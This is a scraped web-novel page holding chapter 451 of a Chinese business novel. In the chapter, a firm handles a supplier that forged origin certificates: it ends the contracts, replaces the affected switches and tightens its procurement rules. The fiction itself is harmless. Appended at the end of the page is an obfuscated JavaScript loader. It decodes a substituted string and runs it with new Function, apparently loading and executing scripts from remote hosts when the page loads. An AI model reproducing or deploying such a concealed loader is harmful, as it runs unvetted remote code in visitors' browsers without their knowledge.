首页
第451章 违规合作方的处理
返回
关灯 护眼:关 字号:小

第451章 违规合作方的处理与整顿

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
biquge521.com,更新快,无弹窗!

    法务预警系统正式运行第七天,供应链「洗产地」事件的完整追溯报告摆上了陈醒的办公桌。报告厚达八十七页,附录包括那家霓虹贸易公司的全部供货记录丶原产地标签光谱分析数据丶出口报关单据的逐票比对结果,以及恒芯产线控制网络设备固件审计的完整日志。陈醒翻到报告最后一页,在结论栏看到周明用红笔圈出的三行字——「涉事供应商一家,关联采购合同十七份,涉及设备六类共计两百三十四台套。其中已部署至产线控制网络的三台网络交换设备已完成物理隔离和固件全量审计,未发现恶意代码。剩余设备分布于爪哇商城天罡应用兼容性测试云平台和合城产学研融合中心两个非产线场景,已全部暂停使用。」
    陈醒在报告扉页上批了一行字:「从发现到隔离到审计到报告,全链条闭环用时六天。这是法务预警系统正式运行后打的第一场仗。打赢了,但仗还没完。」
    仗确实还没完。周明在当天上午的供应链合规紧急会议上把涉事供应商的完整画像投在屏幕上。这家注册在霓虹大阪的贸易公司,表面上是一家经营半导体设备备件和网络交换设备的中型商社,实际控制人通过三层离岸架构将股权链条最终指向火龙联盟中北洲一家核心成员企业的退休高管。公司在过去三年内向未来科技及其生态合作方累计供货十七批次,其中十一批次的设备原产地与报关文件存在不同程度的不符——有的将北洲原产标注为霓虹原产,有的将合资组装产品标注为霓虹全流程制造,还有一批设备的原产地标签被物理清除后重新贴标,与法务预警系统在恒芯备件库中发现的模式完全一致。
    「这不是偶发的单票违规。」周明在屏幕上把十七批次的问题类型逐条分类,「这是一家有组织地进行原产地伪装的供应商。它的操作手法包括三层标签覆盖丶在霓虹保税区更换外包装丶利用霓虹与北洲之间特定产品类别的原产地认证互认条款中的审查盲区。这些手法不是小贸易公司能操作的——背后有专业合规顾问的手笔。」
    蔡总从爪哇商城的视频接入亮了。他的脸色比平时沉得多,身后的办公桌上摊着一叠刚从档案柜里调出来的采购决策留痕记录。他在接到法务预警系统的红色预警通报后,主动将爪哇商城测试云平台项目全部涉及该供应商的采购档案打包提交给了周明的审计小组。
    「我查了每一张采购审批单。」蔡总的声音压得很低,但没有回避任何人的目光,「决策流程没有跳步——三家比价丶来源审查丶原产地证明核验,全部按采购制度执行。但我没有做一件事:我没有把原产地证明上的出口许可印章拿去霓虹经济产业省的公开资料库里逐票核验。我以为盖了章的文件就是真的。我不知道章也可以造假。」
    周明没有接这句话。他把蔡总提交的采购档案与那家贸易公司在霓虹海关的出口申报记录做了并排比对。比对结果显示,十七份原产地证明中有十一份的出口许可编号在霓虹经济产业省公开资料库中不存在对应记录。印章是真章的扫描复制件——不是完全伪造,而是将真实的印章图像复制后嵌入了伪造的文件。这种操作手法在电子文档时代几乎无法通过肉眼分辨。
    「表面真实性审查的局限性就在这里。」周明在白板上画了一条制度设计的逻辑链,「采购制度要求供应商提供原产地证明——供应商提交了表面真实的文件——采购部门完成了制度规定的核验流程——但文件本身的实质真实性无法在常规采购流程中被验证。这个链条的断点不在任何一个人的失职上,而在制度设计的边界上:常规采购流程只能审查文件表面,不能审查文件背后的事实。要补上这个断点,需要在制度上加一个环节——对高合规风险品类供应商的原产地证明进行独立第三方实质核查。」
    苏黛在会议进行到四十分钟时站起来,在白板上画了一张处理方案的树状图。树干是「供应链洗产地事件处置」,分出三根主枝——涉事供应商处理丶受影响设备处置丶制度漏洞修补。每根主枝上再分出具体的行动项和时间节点。
    「第一根主枝,涉事供应商处理。」苏黛在第一根主枝下列出三条措施,「立即终止与该供应商的全部未履行合同,将其列入未来科技及生态合作基金所有项目的永久禁入名单,将供应商的违规事实和证据链提交联合检测验证工作组秘书处备案,同时向霓虹经济产业省通报该公司涉嫌原产地证明造假的行为。我们不替任何环节捂盖子——谁造假,谁承担后果。造假的是这家贸易公司,不是蔡总,不是生态合作基金的评审委员会,不是未来科技的采购部门。事实指向谁,责任落在谁头上。」
    「第二根主枝,受影响设备处置。」苏黛在第二根主枝下列出四条措施,「恒芯产线的三台网络交换设备已完成物理隔离,本周内完成国产替代设备采购和替换部署,替换后的测试验证周期压缩至五天,由梁志远团队全程跟进。爪哇商城测试云平台的十一台受影响交换设备已暂停使用,蔡总团队正在评估直接替换和架构调整两种方案的代价和周期,三天内提交技术方案。合城产学研融合中心的两台受影响设备已完成替换,新设备来自国内一家已通过供应链穿透审计的合格供应商。所有替换下来的涉事设备不做退运丶不做转售——全部物理封存,作为后续内部培训和外部审计的实物证据。」
    「第三根主枝,制度漏洞修补。」苏黛在第三根主枝下写了四条,「第一条,在高合规风险品类中增设原产地证明实质核查环节——由法务部指定独立的第三方审计机构,对供应商原产地文件进行出口国海关资料库的逐票交叉核验。第二条,将法务预警系统的供应链穿透模块从天枢OS产线管理系统扩展到生态合作基金所有项目的采购管理系统中,让数据交叉比对覆盖全部生态采购,而不只是产线采购。第三条,修订采购制度中的供应商准入标准,新增一条硬性条款——供应商的实际控制人股权结构必须在准入审查中追溯到最终自然人,无法追溯或拒绝追溯的不予准入。第四条,将本次事件的完整经过编入法务预警系统案例知识库,作为采购部门和生态运营部全体人员的必修培训案例。」
    会议在周明确认全部措施的执行责任人和时间节点后进入表决程序。研发治理委员会到会的五名委员以全票通过了苏黛提出的全部处置方案。陈醒在表决结束后从旁听席上站起来,走到白板前,在苏黛画的那棵处置方案树状图的根部加了一行字——「处理违规合作方的原则不是惩罚最重,而是责任最清。谁违规,谁承担。不株连,不护短,不拖延。」
    当天下午,法务部向涉事霓虹贸易公司发出了正式终止合作通知函。通知函中列明了十七份采购合同中涉及原产地证明不符的十一份合同的具体编号丶不符事实和证据索引,告知该公司已被列入永久禁入名单,并通知其未来科技已将相关证据提交霓虹经济产业省和联合检测验证工作组秘书处。通知函的最后一段由周明亲自起草,措辞没有用任何法律威胁,只写了一句让法务部年轻律师反覆读了三遍的话——「本函所载全部事实均附有不可篡改的存证记录,贵司如有异议,欢迎在霓虹或任何双方约定的司法管辖区通过法律程序提出。我们准备好了应诉,但我们更希望贵司在启动法律程序之前,先回答一个问题:你们拿到的那批北洲原产设备,是从谁手里丶经什么渠道丶用什么名目运进霓虹保税区的。这个问题不是未来科技问的——是你们迟早会被别人问的。」
    通知函发出的同一天下午,方程在新加坡主持了一场与天罡生态所有已签约合作方的紧急视频通报会。参会方包括首期生态合作基金九个项目的负责人丶天罡许可商用授权已签约的三家厂商代表丶爪哇商城天罡应用兼容性测试云平台的运营团队,以及联合技术委员会的轮值主席。方程在通报中没有做任何铺垫,开场就把供应链洗产地事件的完整事实陈述了一遍——发现过程丶受影响范围丶处置措施和制度修补方案——每一项都附上了可验证墙上的对应档案索引号。
    「我在这次通报中不会说『请大家放心,问题已经解决了』。」方程站在新加坡办公室的落地窗前,窗外滨海湾的天际线在午后阳光中泛着热带的刺眼光泽,「问题不会被一次性解决。供应链穿透调查就像在浑水里摸鱼——你摸到一条,不代表水里没有别的鱼。法务预警系统帮我们摸到了这一条,但它不能保证没有下一条。它能保证的只有一件事——如果还有下一条,它会在那条鱼咬钩之前再摸到一次。」
    通报会结束后,爪哇那家已签约天罡许可商用授权的智能家居品牌代表在加密消息中给方程发了一条简短的信息:「我们在看到可验证墙上那份八十七页调查报告的时候,就已经决定继续推进授权协议的二期产品扩展。不是因为你们没出问题,是因为出了问题之后的处理方式让我们看清楚了——你们在问题面前的反射弧不是遮掩,是切开。切开的伤口会疼,但不会化脓。」
    方程把这条消息转发给了苏黛和周明。苏黛在转发附言中写道:「信任不是在不出事的时候建立的,是在出了事之后怎么处理的过程中建立的。蔡总没有因为供应商造假被连坐,黄志强没有因为我们的供应链出事而撤回商用授权签约,爪哇的那家厂商没有因为洗产地事件而暂停二期扩展。他们都在看同一件事——我们敢不敢把切开的口子摊在阳光下。」
    但整个事件中最棘手的一个环节在当天晚上才浮出水面。蔡总的项目在合规审计月中被评定为「零重大违规」,但洗产地事件发生后,这个评定结果是否需要回溯修正,在研发治理委员会内部引发了激烈争论。联合技术委员会的一名独立委员在加密邮件中提出了一个尖锐的问题:「如果首期九个项目中有一个项目因为供应商违规而需要回溯修正合规审计的评定结果,那么合规审计本身的可信度是否会受到质疑?公众会不会问——连已经通过审计的项目都不乾净,这套审计制度还有什么意义?」
    周明在回信中给出了一个让所有委员沉默了好一阵的回答:「审计的意义不是保证被审计对象永远不出问题,而是保证出了问题之后有据可查丶有责可追丶有漏洞可补。合规审计月的审计结论是『零重大违规』,那个结论在当时的审计范围内是完全正确的。审计小组在当时的能力范围内,对供应商进行了表面真实性审查,审查结果合格。洗产地事件是在审计范围之外丶通过法务预警系统的数据交叉比对能力发现的——这不是审计的失败,而是审计能力边界在制度化扩展。合规审计没有错,是审计的深度在被新的制度工具不断加深。我们不会回溯修正合规审计月的评定结果,因为那个结果是真实的。我们要做的,是在下一次审计中把原产地证明的实质核查纳入审计范围——让审计的深度跟上预警系统的灵敏度。」
    陈醒在这个问题上做了最终裁决。他在回覆邮件中写道:「合规审计不是一张终身免检证书。它是一张在特定时间丶特定范围内对特定对象做出的真实记录。记录本身不应该被事后修改,但记录的范围可以被下一轮审计扩展。洗产地事件告诉我们的事情不是『上次审计做错了』,而是『上次审计做得不够深』。不够深就加深——制度叠代的逻辑就是这么简单。」
    翌日上午,法务预警系统的供应链穿透模块完成了首次跨系统部署。郑工将模块从天枢OS产线管理系统扩展接入到生态合作基金项目管理系统丶天罡许可商用授权签约方管理系统和联合技术委员会的兼容性测试资源分配系统。部署完成后,系统在第一次全量扫描中自动抓取了所有生态合作方在最近六个月内的供应商变更记录,与火龙联盟出口管制清单丶霓虹海关公开资料库和北洲商务部实体清单做交叉比对。扫描在全量数据上运行了四十七分钟,结果在周明的仪表盘上弹出两条新的黄色预警——两家生态合作方使用的边缘计算设备供应商的元器件来源需要进一步的实质核查。两条预警都不是红色,但都在周明当天的工作日志中被标注了「跟进——下周内完成实质核查排期」。
    「这就是常态化。」周明在工作日志中写道,「法务预警系统正式运行之前,每一个供应链异常都是突发事件——被发现丶被上报丶被讨论丶被处置,每一步都在非标流程中摸索。正式运行之后,系统自动扫描丶自动比对丶自动分级丶自动推送处置方案模板,人的判断被留给了真正需要判断的环节——红色预警的处置决策和黄色预警的人工覆核。其余百分之八十二的绿色信息,系统自己在后台消化了,不打扰任何人。预警常态化不是预警变少了,是处理预警的速度超过了预警冒出来的速度。」
    当天下午,蔡总提交了爪哇商城测试云平台受影响设备的替换技术方案。方案选择了架构调整路径而非直接替换路径——将原本由那十一台受影响交换设备承担的负载重新分配到现有的国产交换设备上,同时升级测试云平台的负载均衡策略,使得在不增加设备采购数量的情况下完成替换。方案实施周期仅需三天,采购成本为零。
    「这是蔡总用自己的技术能力弥补了供应链上的坑。」方程在审批方案时对苏黛说,「他没有要求未来科技替他出替换设备的采购费,也没有把停机时间拖到两周去等预算审批。他用软体优化替代了硬体采购——这种能力不是一个拿了生态基金就躺着等喂的团队能有的。」
    苏黛在方案的审批意见栏中批了一行字:「技术自主是一切制度防线的最后一道。供应商可以造假,但没有人能替你写代码。蔡总的团队用三天完成架构调整,证明了首期生态合作基金评审委员会在九个项目中选择他们的判断是正确的——选团队不是选项目,是选人。人在,坑能填,墙能补,路能续。」
    三天后,蔡总提交了架构调整完成报告。爪哇商城天罡应用兼容性测试云平台在调整期间没有中断服务——蔡总的团队采用了滚动迁移策略,每次迁移一组交换设备的负载,验证稳定后再迁移下一组,整个过程中平台的在线率保持在百分之九十九点五以上。报告的最后附了一张蔡总自己拍的机房照片,照片里那十一台被替换下来的涉事交换设备被整齐地排列在机房的角落里,每台设备上都贴着一张红色标签,标签上印着法务预警系统自动生成的封存编号和一句话——「此设备已封存。编号可查。事实可验。」
    照片被方程转发给了周明。周明在照片上批了两个字,然后把照片存入了法务预警系统案例知识库的供应链专题文件夹。那两个字是——「勋章」。
    而在印巴装配厂,王磊在本周的生产调度会上通报了劳动合规档案数位化升级的最终结果。两千多名员工的全部考勤丶工资丶培训和安全记录已完成存证,夜班打卡点位修正后的第一个完整考勤周期数据已同步至法务预警系统。系统在新的数据上运行了第一轮自动比对,零红色预警,一条黄色预警——提示某班组在高温车间的轮岗频率略低于合城劳动安全标准建议值。王磊在接到预警当天调整了该班组的轮岗排班表,将轮岗频率从每四小时一次提高到每三小时一次。
    「以前这种事靠产线组长凭经验判断。」王磊在调度会上说,「经验有用,但经验不会留痕。组长记得今天让工人休息了,但半年后法庭上律师问他『证据呢』,他拿不出来。现在系统把每一次轮岗排班丶每一次高温补贴发放丶每一次安全培训签到都存成了不可篡改的记录。记录在,事实就在。事实在,那些想用劳动合规问题卡我们脖子的手就伸不进来了。」
    南亚商事法庭印巴装配厂劳动合规案的证据开示截止日倒计时显示还剩下两周。周明在法务预警系统仪表盘上把这个案件的证据准备状态从「紧张」调整为「就绪」。他在状态更新备注中写道:「两千余名员工丶三个完整年度丶四个合规维度——考勤丶工资丶安全丶培训——全部档案已完成数位化存证。每一份档案都附带不可篡改的时间戳和哈希值。证据不是我们说的,是系统自己记录的。」
    而在合城,法务预警系统常态化运营两周总结会在六号会议室举行。周明在会上展示了系统运行两周的完整数据:累计处理风险事件两百一十七次,其中红色预警十一次丶黄色预警四十三次丶绿色一百六十三次。十一次红色预警全部在规定时间内完成处置闭环。误报率从首周的百分之二十五下降至百分之十八。系统规则引擎在两周内根据人工覆核反馈自动调整了六条分级规则的参数权重。
    「百分之十八的误报率还在向下走。」郑工在技术报告中写道,「规则引擎的学习曲线比预想的要快。原因是每一次人工覆核的结果都会作为训练数据反哺给引擎——覆核员把一次黄色预警标记为误报的同时,也告诉了引擎为什么这次判断是错的。引擎把原因拆解成参数权重调整,下一次遇到类似的模式就不会再误报了。法务预警系统不是一个静态的规则库,它是一个在用中学丶在审中长的活系统。」
    陈醒在总结会结束时说了当天最后一句话。他没有看数据报表,也没有看系统仪表盘。他站在会议室的窗户前,看着窗外追光五期钢结构和造芯学院新实训大楼在夕阳下的剪影,说:「法务预警系统正式运行两周,没有一个人被冤枉,没有一家合作方因为预警误报遭受不当损失,没有一次红色预警处置超过规定时限。这三条做到了,系统的信用就立住了。接下来要做的事情很简单也很难——让这套系统在每个月的每一天都保持这两周的运行水准。简单,因为流程已经有了。难,因为保持水准需要的不是激情,是纪律。」
    窗外,合城产业园的晚班班车正缓缓驶出厂区大门。门禁处新安装的合并打卡点位亮着绿灯,员工依次刷卡上车,每一声打卡的提示音都在天枢OS数据治理规则引擎中留下一条带时间戳的记录。记录的上一条是印巴装配厂夜班工人排队打卡的哈希值,下一条是恒芯封装试产线矽通孔刻蚀机工艺参数微调的日志更新。三条记录在规则引擎的不可篡改日志中前后紧挨着,彼此之间没有因果关系,但在法务预警系统的全景风险显示屏上,它们都是绿色——恒芯的刻蚀参数正常,印巴的考勤数据闭环,合城的班车准点发出。
    周明在离开会议室前,在法务预警系统运营日志的当日页末尾写了一行字。字迹是他一贯的瘦金体,墨水是蓝黑色,用力很深:「预警常态化不是风险的消失,是应对风险的反射弧从周压缩到天,从天压缩到小时,从小时压缩到分钟。当反射快过袭击,常态化本身就成了最坚固的盾。」
    日志的下一页是空白,等待填入明天的数据。而在可验证墙的最新展格里,法务预警系统两周运行简报的封面已经贴好。封面的下方,方敏用一枚磁吸钉压了一张从印巴装配厂档案数位化现场带回来的照片——那位发现父亲签名的年轻女孩站在档案室门口,手里拿着那张发黄考勤表的扫描件。照片的背面有一行她用当地语言写的话,翻译组在下面附了中文:「我爸爸的名字在系统里。永远都在。」
    系统里的名字不止她父亲一个。在合城法务部的全景风险显示屏上,绿色丶黄色和红色的数据流以恒定的三秒周期刷新,每一次刷新都在天枢OS的不可篡改日志中嵌入一排新的哈希值。这些哈希值对应着成千上万个名字——阿贡在密支那培训点的学徒签到名,法蒂玛在印巴厂第三条生产线基建工地上领料单的签名,貌貌伦在孵化轮答辩会上拧开那瓶伊洛瓦底江水样时设备自动记录的操作日志ID,以及那家被列入永久禁入名单的霓虹贸易公司在出口报关单上伪造的印章编号。所有名字都在系统里,每一个都带着不可篡改的时间戳,每一个都在等待下一次法务预警系统的全量扫描。
    而在日内瓦,李明哲将法务预警系统两周运行简报的英文摘要提交给了联合检测验证工作组秘书处。提交函的末尾,他引用了陈醒在总结会上说的那句话——「保持水准需要的不是激情,是纪律。」——然后加上了自己的注脚:「当一家企业把合规从战时状态转化为日常纪律,它就不再需要向任何人证明自己的清白。纪律本身就是证据。」
    秘书处那位法律顾问在读完提交函后,在自己的笔记本上写了一行只有自己看得到的备注。那行备注后来在不知情的情况下被一位同事看到,传到了李明哲耳朵里。备注的内容是:「他们不是在应对质询。他们是在让质询失去意义。」
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();